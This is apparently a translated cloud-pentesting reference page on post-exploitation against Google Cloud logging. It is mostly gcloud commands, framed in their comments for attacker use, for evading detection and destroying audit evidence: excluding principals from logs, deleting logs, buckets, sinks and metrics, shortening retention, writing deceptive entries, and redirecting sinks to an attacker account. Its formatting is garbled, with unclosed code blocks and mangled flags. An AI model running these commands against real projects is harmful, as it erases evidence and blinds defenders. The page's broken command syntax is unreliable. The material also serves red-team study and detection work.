GCP - Logging Post Exploitation

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基本信息

更多信息请查看：

GCP - Logging Enum

有关其他中断监控的方法，请查看：

GCP - Monitoring Post Exploitation

默认日志记录

默认情况下，仅执行读取操作通常不会被发现。更多信息请参见 Logging Enum 部分。

添加被排除的主体

在 https://console.cloud.google.com/iam-admin/audit/allservices 和 https://console.cloud.google.com/iam-admin/audit 可以添加主体以使其不生成日志。攻击者可能滥用此功能以避免被发现。

读取日志 - logging.logEntries.list

读取日志条目 ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

Everything from a timestamp

gcloud logging read “timestamp >= "2023-01-01T00:00:00Z"” –limit=10 –format=json

Use these options to indicate a different bucket or view to use: –bucket=_Required –view=_Default

</details>

### `logging.logs.delete`

<details>

<summary>删除日志条目</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

写入日志 - logging.logEntries.create

写入日志条目 ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```

logging.buckets.update

更新日志存储桶保留期限 ```bash # Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog –location= –description=“New description” –retention-days=1

</details>

### `logging.buckets.delete`

<details>

<summary>删除日志存储桶</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

删除日志链接 ```bash # Delete link gcloud logging links delete --bucket --location ```

logging.views.delete

删除 logging 视图 ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global ```

logging.views.update

更新 logging view 以隐藏数据 ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" ```

logging.logMetrics.update

更新基于日志的指标 ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID ```

logging.logMetrics.delete

删除基于日志的指标 ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete ```

logging.sinks.delete

删除 log sink ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete ```

logging.sinks.update

更新/中断 log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled

Createa filter to exclude attackers logs - logging.sinks.update

gcloud logging sinks update SINK_NAME –add-exclusion=“name=exclude-info-logs,filter=severity<INFO”

Change where the sink is storing the data - logging.sinks.update

gcloud logging sinks update new-destination

Change the service account to one withuot permissions to write in the destination - logging.sinks.update

gcloud logging sinks update SINK_NAME –custom-writer-identity=attacker-service-account-email –project=PROJECT_ID

Remove explusions to try to overload with logs - logging.sinks.update

gcloud logging sinks update SINK_NAME –clear-exclusions

If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update

gcloud logging sinks update SINK_NAME –use-partitioned-tables gcloud logging sinks update SINK_NAME –no-use-partitioned-tables

</details>

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